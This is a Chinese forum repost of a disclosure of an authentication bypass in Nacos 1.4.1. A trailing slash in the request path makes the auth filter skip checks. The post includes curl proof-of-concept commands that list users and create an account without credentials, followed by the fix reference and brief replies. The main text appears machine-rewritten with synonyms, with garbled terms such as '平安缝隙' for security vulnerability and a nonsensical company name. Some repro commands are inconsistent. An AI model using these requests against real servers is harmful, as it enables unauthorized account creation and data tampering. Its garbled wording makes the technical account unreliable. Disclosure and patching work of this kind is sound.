找回密码
 立即注册
e698zm0i91 新手上路

阿里泉州鲜花饼有限公司 Nacos 惊爆,平安缝隙已绕过身份考证,附修复倡议

16 / 935

1

主题

1

帖子

13

积分

新手上路

Rank: 1

积分
13
发表于 2021-5-3 09:27:43 | 显示全部楼层 |阅读模式
我发现nacos最新版本1.4.1对于User-Agent绕过平安缝隙的serverIdentity key-value修复机制,仍然存在绕过题目,在nacos开启了serverIdentity的自界说key-value鉴权后,经过特别的url机关,仍然能绕过限制拜候任何http接口。

经过检察该功用,需要在application.properties增加设置[size=0.882em]nacos.core.auth.enable.userAgentAuthWhite:false,才能避免[size=0.882em]User-Agent: Nacos-Server绕过鉴权的平安题目。

但在开启该机制后,我从代码中发现,仍然可以在某种情况下绕过,使之生效,挪用任何接口,经过该缝隙,我可以绕过鉴权,做到:

挪用增加用户接口,增加新用户([size=0.882em]POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后利用新增加的用户登录console,拜候、点窜、增加数据。

[size=1.118em]一、缝隙详情

题目首要出现在[size=0.882em]com.alibaba.nacos.core.auth.AuthFilter#doFilter:

public class AuthFilter implements Filter {    @Autowired    private AuthConfigs authConfigs;    @Autowired    private AuthManager authManager;    @Autowired    private ControllerMethodsCache methodsCache;    private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();    @Override    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)            throws IOException, ServletException {        if (!authConfigs.isAuthEnabled()) {            chain.doFilter(request, response);            return;        }        HttpServletRequest req = (HttpServletRequest) request;        HttpServletResponse resp = (HttpServletResponse) response;        if (authConfigs.isEnableUserAgentAuthWhite()) {            String userAgent = WebUtils.getUserAgent(req);            if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {                chain.doFilter(request, response);                return;            }        } else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils                .isNotBlank(authConfigs.getServerIdentityValue())) {            String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());            if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {                chain.doFilter(request, response);                return;            }            Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),                    req.getRemoteHost());        } else {            resp.sendError(HttpServletResponse.SC_FORBIDDEN,                    "Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"                            + " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");            return;        }        try {            Method method = methodsCache.getMethod(req);            if (method == null) {                chain.doFilter(request, response);                return;            }            ...鉴权代码        }        ...    }    ...}
可以看到,上面三个if else分支:

第一个是[size=0.882em]authConfigs.isEnableUserAgentAuthWhite(),它默许值为true,当值为true时,会判定请求头User-Agent能否婚配[size=0.882em]User-Agent: Nacos-Server,若婚配,则跳事后续一切逻辑,履行[size=0.882em]chain.doFilter(request, response);

第二个是[size=0.882em]StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue()),也就是nacos 1.4.1版本对于[size=0.882em]User-Agent: Nacos-Server平安题目标简单修复

第三个是,当前面两个条件都不合当令,对请求间接作出拒绝拜候的响应

题目出现在第二个分支,可以看到,当nacos的开辟者在application.properties增加设置[size=0.882em]nacos.core.auth.enable.userAgentAuthWhite:false,开启该key-value简单鉴权机制后,会按照开辟者设置的[size=0.882em]nacos.core.auth.server.identity.key去http header中获得一个value,去跟开辟者设置的[size=0.882em]nacos.core.auth.server.identity.value停止婚配,若不婚配,则不进入分支履行:



但题目恰恰就出在这里,这里的逻辑理应是在不婚配时,间接返回拒绝拜候,而现实上并没有这样做,这就让我们后续去绕过供给了条件。

再往下看,代码来到:



可以看到,这里有一个判定[size=0.882em]method == null,只要满足这个条件,就不会走到后续的鉴权代码。

经过检察[size=0.882em]methodsCache.getMethod(req)代码实现,我发现了一个方式,可以使之返回的method为null

com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod





这个代码里面,可以很明白的看到,method值的返回,取决于



urlKey这个key,能否能从urlLookup这个ConcurrentHashMap中获得到映照值

而urlKey的组成中,存在着path这一部分,而这一部分的天生,恰恰存在着题目,它是经过以下方式获得的:

new URI(request.getRequestURI()).getPath()
一个一般的拜候,比如[size=0.882em]curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test',获得的path将会是[size=0.882em]/nacos/v1/auth/users,而经过特别机关的url,比如[size=0.882em]curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is,获得的path将会是[size=0.882em]/nacos/v1/auth/users/

经过该方式,将能控制该path多一个末端的斜杆'/',致使从urlLookup这个ConcurrentHashMap中获得不到method,为什么呢,由于nacos根基全数的RequestMapping都没有以斜杆'/'结尾,只要非斜杆'/'结尾的RequestMapping存在并存入了urlLookup这个ConcurrentHashMap,那末,最外层的[size=0.882em]method == null条件将能满足,从而,绕过该鉴权机制。

[size=1.118em]二、缝隙影响范围

影响范围:1.4.1

[size=1.118em]三、缝隙复现

拜候用户列表接口

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'
可以看到,绕过了鉴权,返回了用户列表数据



增加新用户
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'
可以看到,绕过了鉴权,增加了新用户



再次检察用户列表

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
可以看到,返回的用户列表数据中,多了一个我们经过绕过鉴权建立的新用户



拜候首页[size=0.882em]http://127.0.0.1:8848/nacos/,登录新账号,可以做任何工作

regards, threedr3am


[size=1.118em]四、 修复倡议
2021年1月14日 Nacos 1.4.1刚公布,会间接在1.4.1停止hotfix。

请用户间接下载最新的1.4.1版本停止摆设升级。

https://github.com/alibaba/nacos/releases/tag/1.4.1


BugFix

-[#4701] Fix bypass authentication(identity) problem.

https://github.com/alibaba/nacos/issues/4701

[size=0.706em]来历 | github.com/alibaba/nacos/issues/4701
回复

使用道具 举报

0

主题

3

帖子

16

积分

新手上路

Rank: 1

积分
16
发表于 2021-5-3 09:28:11 | 显示全部楼层
转发了
回复

使用道具 举报

0

主题

1

帖子

12

积分

新手上路

Rank: 1

积分
12
发表于 2021-5-3 09:28:32 | 显示全部楼层
转发了
回复

使用道具 举报

0

主题

1

帖子

12

积分

新手上路

Rank: 1

积分
12
发表于 2021-5-3 09:29:32 | 显示全部楼层
转发了
回复

使用道具 举报

1

主题

2

帖子

15

积分

新手上路

Rank: 1

积分
15
发表于 2021-5-3 09:29:53 | 显示全部楼层
安全认证还是直接用spring security吧,写的又不好又要自己写……
回复

使用道具 举报

0

主题

1

帖子

12

积分

新手上路

Rank: 1

积分
12
发表于 2021-5-3 09:30:05 | 显示全部楼层
能发现漏洞的也厉害
回复

使用道具 举报

0

主题

2

帖子

14

积分

新手上路

Rank: 1

积分
14
发表于 2021-5-3 09:30:22 | 显示全部楼层
原创发现?还是转载
回复

使用道具 举报

0

主题

1

帖子

12

积分

新手上路

Rank: 1

积分
12
发表于 2021-5-3 09:31:14 | 显示全部楼层
这东西又不开外网
回复

使用道具 举报

0

主题

1

帖子

12

积分

新手上路

Rank: 1

积分
12
发表于 2021-5-3 09:31:55 | 显示全部楼层
天书看不懂
回复

使用道具 举报

0

主题

1

帖子

12

积分

新手上路

Rank: 1

积分
12
发表于 2021-5-3 09:32:06 | 显示全部楼层
哈哈,看懂了
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

12下一页

最好的茶叶都在这里

在这里,你可以找到最好的茶叶

多维度在线交流 新房独家优惠 线上预约线下线上

扫码下载APP
免费赠送红包